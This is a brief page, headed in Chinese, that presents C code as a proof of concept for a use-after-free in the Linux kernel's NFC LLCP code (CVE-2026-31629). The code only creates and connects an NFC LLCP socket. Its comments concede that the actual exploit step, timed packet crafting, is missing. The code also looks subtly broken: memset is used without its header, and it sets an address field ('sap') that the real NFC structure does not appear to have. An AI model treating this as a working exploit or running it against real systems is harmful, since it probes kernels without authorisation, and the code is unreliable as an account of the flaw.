CVE-2026-31629 Linux内核NFC模块释放后重用漏洞

/* * PoC for CVE-2026-31629: Linux Kernel NFC LLCP Use-After-Free * This code demonstrates the creation of an NFC LLCP socket which triggers * the vulnerable code path during connection handling or data reception. * Requires a system with NFC hardware and kernel support. */ #include <linux/nfc.h> #include <sys/socket.h> #include <unistd.h> #include <stdio.h> int main() { int sock; struct sockaddr_nfc_llcp addr; // Create an NFC LLCP socket sock = socket(AF_NFC, SOCK_STREAM, NFC_SOCKPROTO_LLCP); if (sock < 0) { perror("socket"); return 1; } // Setup address (SAP) memset(&addr, 0, sizeof(addr)); addr.sa_family = AF_NFC; addr.dev_idx = 0; // Target device index addr.nfc_protocol = NFC_PROTO_LLCP; addr.sap = 0x10; // Target Service Access Point // Attempting to connect or send data that triggers the state transition // to LLCP_CLOSED without proper handling in the kernel. // Actual exploitation requires precise timing and packet crafting. if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { perror("connect"); close(sock); return 1; } printf("Socket created and connected. Vulnerability may be triggered by remote disconnection or malformed packets.\n"); close(sock); return 0; }